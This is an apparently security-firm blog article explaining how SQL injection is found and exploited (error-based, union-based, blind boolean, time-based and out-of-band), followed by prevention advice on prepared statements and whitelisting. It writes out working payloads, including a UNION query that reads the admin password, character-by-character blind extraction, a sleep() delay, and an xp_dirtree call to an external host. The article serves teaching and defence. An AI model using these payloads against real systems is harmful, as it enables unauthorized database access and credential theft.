IT Security Tips
How to exploit an SQL injection
The fact that injections in general, and SQL injections in particular, are the top-ranking type of attack in the OWASP Top 10 2017 Project list, just as they have been in recent years, illustrates the fact that they are still a problem. A successful SQL injection can have a multitude of effects:
There are different types of SQL injections, namely:
Error-based SQL injections are the easiest type of SQL injection to find. In the simplest case, all an attacker needs to do to change an SQL statement so that it results in an error is insert a semicolon
; or an apostrophe
'. If the user’s input is not filtered and error output is not prevented, an attacker usually obtains extensive insight into the SQL statement.
An SQL statement that is vulnerable to SQL injection might look like this:
"SELECT name FROM articles WHERE articleId = ' " + userDefinedArticleId " ';"
' turns it into the following statement, which results in an error message:
SELECT name FROM articles WHERE articleId = ' ' ';
This insight enables an attacker to create an extended, valid SQL statement that is then returned and displayed on the web page.
In the case of union-based SQL injections, the SQL
UNION operator is used to combine the result of several SELECT statements to form a single result that is then returned. Data can thus be retrieved from other tables within the database.
To extend the example provided above, an attacker could attempt to launch the following attack:
1' UNION SELECT 'password' FROM users WHERE username = 'admin'
and thus potentially read the administrative user’s password, if the tables exist in this form and the username matches.
In many cases, the error messages that the database generates are suppressed. But this does not solve the problem yet. There are different techniques for exploiting SQL injections, even if no error messages are returned.
When it comes to boolean-based blind SQL injections, an SQL statement is changed so that either a true or a false statement is created. If the answers to one of these statements change, the database can be read one character at a time using a series of queries. This avenue of attack is one that quickly becomes very time-consuming when implemented manually. But there are good tools, such as sqlmap, that can help with data extraction.
To continue the example from above if no error messages are returned, an attacker would attempt the following:
1' UNION SELECT 'a' WHERE 1=1--
1' UNION SELECT 'a' WHERE 1=2--
True and false statements can be inferred if the two answers are different. The attack is then extended to query the admin user’s password, for example.
1' UNION SELECT 'a' FROM users WHERE username = 'admin' and SUBSTRING(password, 1, 1) > 'm'--
Some assumptions were made here too, such as the names of the tables and the user. However, it would also be possible to find them out using similar true or false queries.
SQL queries are normally processed synchronously. Accordingly, the HTTP response can usually also be delayed by delaying or extending the SQL queries’ execution time. With time-based blind SQL injections, SQL statements that delay a true statement and immediately answer a false one are injected. One character after another in the database can thus be read again. But this is also a situation where manual data extraction quickly becomes a laborious task, necessitating reliance on the support of a tool or self-written scripts.
A delay can be triggered by injecting a sleep statement; if we were dealing with a MySQL database, the injection would look like this:
1' UNION SELECT sleep(10)
If all previous attempts to test SQL injection have failed, the out-of-band blind SQL injection can be used to launch a final attempt to perform SQL injections. In this scenario, an attacker attempts to establish network interaction with a system that they control. In most cases, they attempt to trigger a DNS query, since outgoing DNS queries normally aren’t prevented.
If we were dealing with a Microsoft SQL Server, the injection would look like this:
'; exec master..xp_dirtree '//sqlinjectionconfirmed.scip.ch/test'--
However, it is also worth mentioning that SQL injection vulnerabilities can also be identified by analyzing source code. For a beginner’s guide to the topic of source code analysis, which is an effective way of uncovering SQL injection vulnerabilities, please refer to the article entitled Source code analysis – a beginner’s guide.
Up until now, we have only looked at how to find SQL injection vulnerabilities. Below, we also demonstrate how to prevent them.
Using prepared statements enables separation of the SQL statement and the input data. This ensures that user input is not interpreted as SQL. Examples of specific programming languages can be found in the SQL Prevention Cheat Sheet from OWASP.
But prepared statements are not applicable to all areas of an SQL query. For example, if the table name or an ORDER BY clause has to be created dynamically, input must be checked against a whitelist. Escaping of special characters should only be used if neither prepared statements nor an input check against a whitelist are feasible, since it is very difficult to implement correctly and there is a risk of overlooked gaps that still allow SQL injection. However, supplementing prepared statements with a whitelist approach and an escaping approach makes perfect sense to build up secondary protection.
Unfortunately, SQL injections are still a problem. Even if there are no obvious vulnerabilities, blind SQL injection techniques can uncover additional vulnerabilities. SQL injection vulnerabilities can be eliminated using prepared statements.
Our experts will get in contact with you!
Our experts will get in contact with you!
Further articles available here